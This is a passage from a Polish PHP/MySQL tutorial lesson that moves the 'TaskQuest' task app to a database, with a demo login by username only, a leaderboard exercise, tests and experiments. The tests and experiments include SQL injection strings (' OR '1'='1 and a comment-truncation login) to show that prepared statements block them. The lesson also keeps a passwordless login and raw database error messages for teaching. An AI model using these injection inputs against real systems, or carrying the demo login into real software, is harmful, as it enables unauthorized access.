            if ($uzytkownikId === null) {
                $bledy&#91;] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}
</code></pre>



<p class="wp-block-paragraph">Zmiany w części HTML:</p>



<ol class="wp-block-list">
<li>Zdanie pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Logowanie&lt;/h2&gt;</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.</code></li>



<li>Usuń z formularza <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label&gt;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input&gt;</code> pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>.</li>



<li>Pod ramką „Popraw formularz:” dodaj ramkę awarii (ten sam wzór co <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>):</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= $bladBazy; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na podział:</p>



<ul class="wp-block-list">
<li>„nie ma takiego loginu” to <strong>błąd użytkownika</strong> → trafia do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> (tablica, pokazana w ramce „Popraw formularz”),</li>



<li>„baza nie odpowiada” to <strong>awaria</strong> → wyjątek → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>.</li>
</ul>



<p class="wp-block-paragraph">To ta sama reguła co od Lekcji 13: błąd użytkownika to nie wyjątek.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> nie dołącza klas — <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zwraca liczbę, nie obiekt. Funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>, które tworzą obiekty, nie są tu wywoływane, więc brak klas nie przeszkadza.</p>



<h2 class="wp-block-heading">Krok 7 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czyta z bazy</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Od tej chwili Twoja sesja z logowania „po staremu” nie wystarcza. Po zmianach <strong>wyloguj się i zaloguj ponownie</strong>.</p>
</blockquote>



<h3 class="wp-block-heading">7a. Dołączane pliki</h3>



<p class="wp-block-paragraph">Zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_plikow.php';</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>. Strona główna nie czyta już CSV.</p>



<h3 class="wp-block-heading">7b. Dane z bazy zamiast symulacji</h3>



<p class="wp-block-paragraph">Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code> masz dziś dwa bloki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik = new Uzytkownik(...)</code> z symulowanymi wartościami oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code>. <strong>Usuń oba</strong> i wstaw w ich miejsce:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane z bazy: zalogowany użytkownik i jego zadania ---
$uzytkownik = null;
$zadania = &#91;];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik-&gt;pobierzId());
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "&lt;p class=\"blad\"&gt;Nie udało się wczytać danych: $bladBazy&lt;/p&gt;";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION&#91;'uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}
</code></pre>



<p class="wp-block-paragraph">Dlaczego tak:</p>



<ul class="wp-block-list">
<li><strong>Jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> na całą bazę.</strong> Użytkownik i zadania pochodzą z tego samego połączenia. Jeśli baza nie działa, nie mamy ani jednego, ani drugiego.</li>



<li><strong>Przy awarii strona kończy się wcześnie.</strong> Do Lekcji 17 awaria dotyczyła tylko pliku z zadaniami, więc reszta panelu (XP, poziom, streak) mogła się wyświetlić. Teraz dane gracza też są w bazie — bez nich nie ma czego pokazać. Zamiast owijać cały szablon w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>, wyświetlamy nagłówek, ramkę błędu, stopkę i kończymy skrypt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>).</li>



<li><strong>Sesja wskazuje na nieistniejące konto</strong> (np. ktoś usunął użytkownika w phpMyAdmin): usuwamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> z sesji i odsyłamy do logowania (Test 7).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code> czytamy bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> — wyżej jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>, a wartość zapisał nasz kod (konwencja z Lekcji 14).</li>
</ul>



<p class="wp-block-paragraph">Wszystko poniżej (listy zadań, liczniki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>, metody grywalizacji, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>, filtr widoku, komunikat) zostaje <strong>bez zmian</strong> — dostaje obiekty tego samego typu co wcześniej.</p>



<h3 class="wp-block-heading">7c. Prezentacja</h3>



<ol class="wp-block-list">
<li>Sekcja „Twoje zadania” była od Lekcji 12 owinięta w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($bladZadan !== null) { ?&gt; ... &lt;?php } else { ?&gt; ... &lt;?php } ?&gt;</code>. Zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code> już nie ma — awarię obsługuje blok z 7b. <strong>Usuń</strong> gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z ramką błędu i same znaczniki <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>, zostaw zawartość gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>.</li>



<li><strong>Usuń</strong> link <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code>. Formularz zapisuje jeszcze do CSV, więc dodane zadanie i tak nie pojawiłoby się na liście. Link wróci w Lekcji 19.</li>
</ol>



<p class="wp-block-paragraph">Reszta prezentacji bez zmian — „Witaj, &#8230;!”, „Zalogowano jako &#8230;”, XP i streak od Lekcji 15 pochodzą z metod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>, więc same pokażą dane z bazy.</p>



<h3 class="wp-block-heading">7d. Sprawdzenie</h3>



<p class="wp-block-paragraph">Wyloguj się, zaloguj jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Strona powinna wyglądać tak jak przed lekcją (bez linku „+ Dodaj zadanie”). Potem zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>: 250 XP, poziom 3, jedno zadanie.</p>



<h2 class="wp-block-heading">Krok 8 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h2>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bazy.php'</code> (razem <strong>19</strong> ścieżek). Nic więcej — diagnostyka nadal <strong>nie łączy się z bazą</strong> (zasada z Lekcji 10 i 17: ma działać nawet przy zepsutym projekcie i bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.8</code>.</li>
</ol>



<h1 class="wp-block-heading">6. Kolejne zadanie — ranking najlepszych graczy</h1>



<p class="wp-block-paragraph">Od pierwszych lekcji TaskQuest ma XP i poziomy, ale gracz nie wie, jak wypada na tle innych. Teraz, gdy w bazie jest wielu użytkowników, możemy to pokazać.</p>



<p class="wp-block-paragraph">Pod listą zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> ma się pojawić:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Najlepsi gracze
1. Ola_TQ — 250 XP (poziom 3)
2. Kama_2026 — 99 XP (poziom 1)
</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking(mysqli $polaczenie, int $limit): array</code>, która zwraca tablicę wierszy z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> — najwyżej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$limit</code> graczy, od największego XP. Przy równym XP — alfabetycznie po loginie (żeby kolejność była zawsze ta sama).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$limit</code> przekazujemy <strong>parametrem</strong> zapytania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT ?</code>), nie sklejamy.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> ranking dla 3 graczy wczytujemy w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> co użytkownika i zadania (zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ranking</code>, wartość początkowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>).</li>



<li>Poziom w rankingu liczy <strong>istniejąca</strong> funkcja — nie dodajemy kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code> do zapytania (Lekcja 17, 3.5: poziomu nie ma w bazie).</li>



<li>Sekcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;</code> z listą numerowaną <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;ol&gt;</code>, na samym końcu panelu, po liście zadań.</li>
</ol>



<p class="wp-block-paragraph">Tu <strong>nie</strong> zwracamy obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>: ranking potrzebuje dwóch kolumn, a obiekt wymagałby wszystkich sześciu. Wynik zapytania, który służy tylko do wyświetlenia, może zostać tablicą.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> może mieć kilka kolumn rozdzielonych przecinkiem — druga decyduje, gdy pierwsza ma równe wartości. Liczbę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT ?</code> podpinasz tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Zamiast pętli <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> możesz pobrać wszystkie wiersze naraz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">return $wynik-&gt;fetch_all(MYSQLI_ASSOC);</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_all(MYSQLI_ASSOC)</code> zwraca tablicę wszystkich wierszy (każdy jako tablica asocjacyjna); dla pustego wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>. Tam, gdzie z wiersza budujemy obiekt, zostajemy przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> — tu wiersze wystarczą.</p>
</details>



<h2 class="wp-block-heading">ROZWIĄZANIE</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — w bloku „dane z bazy” dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ranking = [];</code> pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = [];</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($uzytkownik !== null)</code>, pod wczytaniem zadań:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        $ranking = pobierzRanking($polaczenie, 3);
</code></pre>



<p class="wp-block-paragraph">Na końcu treści panelu (po liście zadań, przed dołączeniem stopki):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;
&lt;ol&gt;
    &lt;?php foreach ($ranking as $gracz) { ?&gt;
        &lt;li&gt;&lt;?= $gracz&#91;'login']; ?&gt; — &lt;?= $gracz&#91;'xp']; ?&gt; XP (poziom &lt;?= obliczPoziom($gracz&#91;'xp']); ?&gt;)&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ol&gt;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> przyjmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> — i dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, bo wynik pochodzi z prepared statementu (3.5).</p>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przeglądarka (<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/...</code>) i phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL albo edycja wiersza). Przed każdym testem zapisz przewidywany wynik. Po testach, które zmieniają dane, uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 1 — regresja: Kama widzi to samo co przed lekcją</h2>



<p class="wp-block-paragraph">Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja17/index.php</code> uruchomionym <strong>tego samego dnia</strong> (tam zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> z imieniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code>).</p>



<p class="wp-block-paragraph">Oczekiwane: te same zadania, liczniki, XP 99, poziom 1, ten sam streak i te same komunikaty terminów. Różnice: stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.8</code>, brak linku „+ Dodaj zadanie”, nowa sekcja „Najlepsi gracze”. Jeśli w Lekcji 17 (Test 8) dodałaś/dodałeś zadanie przez formularz, jest ono w CSV, ale nie w bazie — w wersji 1.8 go nie zobaczysz. To zgodne z oczekiwaniami.</p>



<h2 class="wp-block-heading">Test 2 — Ola widzi swoje dane</h2>



<p class="wp-block-paragraph">Wyloguj się, zaloguj jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co sprawdzasz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>powitanie</td><td>„Witaj, Ola!” (imię z bazy — w formularzu już go nie podajesz)</td></tr><tr><td>XP / poziom</td><td>250 XP, poziom 3, do poziomu 4 brakuje 50 XP</td></tr><tr><td>streak</td><td>0 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> → metoda nie zmienia streaka)</td></tr><tr><td>zadania</td><td>dokładnie jedno: „Zaprojektować bazę TaskQuest”, niewykonane</td></tr><tr><td>ranking</td><td>Ola na 1. miejscu, Kama na 2.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 3 — logowanie: przypadki</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login w formularzu</th><th>Oczekiwane</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td>zalogowano, strona główna, komunikat „Zalogowano. Powodzenia w zadaniach!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code></td><td>zalogowano jako <strong>Kama</strong> — „Zalogowano jako <strong>Kama_2026</strong>” (pisownia z bazy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code></td><td>formularz z błędem „Nie ma użytkownika o takim loginie.”, pole wypełnione <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td>„Login musi mieć 3–20 znaków&#8230;” — do bazy w ogóle nie trafia zapytanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code></td><td>ten sam komunikat o formacie loginu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> odrzuca apostrof i spację)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Przewidź: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> zalogowałby kogoś, gdyby usunąć walidację, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zostawić z prepared statementem? (Odpowiedź: nie — patrz 3.5. Sprawdzisz to w Eksperymencie 1.)</p>



<h2 class="wp-block-heading">Test 4 — dane żyją w bazie, nie w kodzie</h2>



<p class="wp-block-paragraph">Zalogowana/zalogowany jako Kama, w phpMyAdmin kliknij tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> → przy Kamie <strong>Edytuj</strong> → zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">150</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kamila</code> → <strong>Wykonaj</strong>. Odśwież TaskQuest <strong>bez ponownego logowania</strong>.</p>



<p class="wp-block-paragraph">Oczekiwane: „Witaj, Kamila!”, 150 XP, poziom 2, a w rankingu Kama nadal za Olą. Zmiana imienia jest widoczna od razu, bo w sesji jest tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> (6b). Zmień w phpMyAdmin tytuł jednego zadania Kamy i odśwież — nowy tytuł na liście. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 5 — każdy widzi tylko swoje zadania</h2>



<p class="wp-block-paragraph">Zalogowana/zalogowany jako Ola, spróbuj wszystkich trzech widoków (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=wszystkie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>). W żadnym nie ma zadań Kamy. Widok „wykonane” pokazuje „Brak zadań w tym widoku.”</p>



<h2 class="wp-block-heading">Test 6 — baza nie działa</h2>



<ol class="wp-block-list">
<li>Zalogowana/zalogowany jako Kama, zatrzymaj w XAMPP moduł <strong>MySQL</strong> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.<br />Oczekiwane: nagłówek, ramka „Nie udało się wczytać danych: Nie udało się połączyć z bazą danych.”, stopka. Żadnych danych gracza. (Jeśli nad ramką widzisz dodatkowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code>, to ustawienia wyświetlania komunikatów PHP — wrócimy do tego w Lekcji 23.)</li>



<li>Wyloguj się i spróbuj zalogować. Oczekiwane: formularz z ramką „Nie udało się zalogować: Nie udało się połączyć z bazą danych.”</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — <strong>działa normalnie</strong> (19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>), bo nie łączy się z bazą. Czy to dobrze, czy źle? Zapisz swoją odpowiedź — wrócisz do niej w pytaniach kontrolnych.</li>



<li>Uruchom MySQL ponownie.</li>
</ol>



<h2 class="wp-block-heading">Test 7 — konto usunięte w trakcie sesji</h2>



<p class="wp-block-paragraph">Zaloguj się jako Ola. W phpMyAdmin: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM uzytkownicy WHERE login = 'Ola_TQ';</code>. Odśwież TaskQuest.</p>



<p class="wp-block-paragraph">Oczekiwane: przekierowanie na stronę logowania (bez błędu PHP). Próba zalogowania jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> → „Nie ma użytkownika o takim loginie.” Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 8 — ranking i <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code></h2>



<p class="wp-block-paragraph">W phpMyAdmin:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp) VALUES ('Kuba_TQ', 'Kuba', 180), ('Zosia_TQ', 'Zosia', 180);
</code></pre>



<p class="wp-block-paragraph">Przewidź kolejność w rankingu, potem odśwież TaskQuest. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> (250), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kuba_TQ</code> (180), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zosia_TQ</code> (180) — <strong>tylko trzy</strong>, Kama (99) nie mieści się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>. Kuba przed Zosią, bo przy równym XP decyduje login. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 9 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>), sekcja „Baza danych” bez zmian.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> eksperymenty 1–2 w brudnopisie, 3–4 w projekcie. Po każdym <strong>przywróć</strong> zmieniony kod.</p>



<h3 class="wp-block-heading">Eksperyment 1: prepared statement bez walidacji</h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(znajdzIdUzytkownika($polaczenie, "' OR '1'='1"));
var_dump(znajdzIdUzytkownika($polaczenie, "Kama_2026' -- "));
</code></pre>



<p class="wp-block-paragraph">Przewidź oba wyniki. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Drugi ciąg to klasyczna próba „ucięcia” reszty zapytania komentarzem SQL (<code class="prettyprint lang-sql" style="font-size: 0.85em;">-- </code>). Przy sklejaniu dałaby zalogowanie jako Kama; w prepared statemencie to zwykły, nieistniejący login. Wniosek: walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> jest wygodą i porządkiem, ale <strong>bezpieczeństwo zapytania zapewnia prepared statement</strong>.</p>



<h3 class="wp-block-heading">Eksperyment 2: te same dane, dwa typy</h3>



<p class="wp-block-paragraph">W brudnopisie porównaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id FROM uzytkownicy WHERE login = \'Kama_2026\'');
$wierszZQuery = $wynik-&gt;fetch_assoc();

$login = 'Kama_2026';
$zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wierszZPrepare = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

var_dump($wierszZQuery&#91;'id'], $wierszZPrepare&#91;'id']);
var_dump($wierszZQuery&#91;'id'] === 1, $wierszZPrepare&#91;'id'] === 1);
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(1) "1"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>. Gdyby TaskQuest używał <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, porównania <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z liczbami przestałyby działać, a obiekty dostawałyby teksty zamiast liczb (bez błędu — tryb domyślny typów z Lekcji 15 po cichu zamienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>). To jeszcze jeden powód, żeby w TaskQuest zawsze używać prepared statements.</p>



<h3 class="wp-block-heading">Eksperyment 3: literówka w zapytaniu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> zmień w zapytaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytl</code> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Oczekiwane: ramka „Nie udało się wczytać danych: Unknown column 'tytl&#8217; in 'field list&#8217;”. Programistę ten komunikat ratuje — od razu wiadomo, co poprawić. Ale użytkownik widzi nazwę kolumny, czyli fragment budowy bazy. Porównaj z komunikatem połączenia, który celowo ukryliśmy (Eksperyment 4). Na etapie nauki zostawiamy go widocznym; ukrywanie szczegółów przed użytkownikiem i zapis błędów do logu — Lekcja 22 i 23. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>.</strong></p>



<h3 class="wp-block-heading">Eksperyment 4: po co ukrywamy komunikat połączenia</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> ustaw <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_HASLO</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">'zlehaslo'</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Oczekiwane: „Nie udało się połączyć z bazą danych.”</li>



